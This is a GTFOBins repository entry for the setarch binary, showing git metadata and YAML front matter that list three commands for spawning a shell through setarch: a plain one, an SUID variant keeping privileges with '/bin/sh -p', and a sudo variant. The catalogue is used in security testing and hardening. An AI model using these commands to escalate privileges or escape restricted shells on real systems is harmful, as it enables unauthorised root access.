GTFOBins.github.io/_gtfobins/setarch.md
Andrea Cardaci 7bc758d4e1 Fix setarch
2022-12-16 15:56:28 +01:00

11 lines
257 B
Markdown

---
description: The `uname -m` command can be used in place of `arch` to obtain the architecture.
functions:
shell:
- code: setarch $(arch) /bin/sh
suid:
- code: ./setarch $(arch) /bin/sh -p
sudo:
- code: sudo setarch $(arch) /bin/sh
---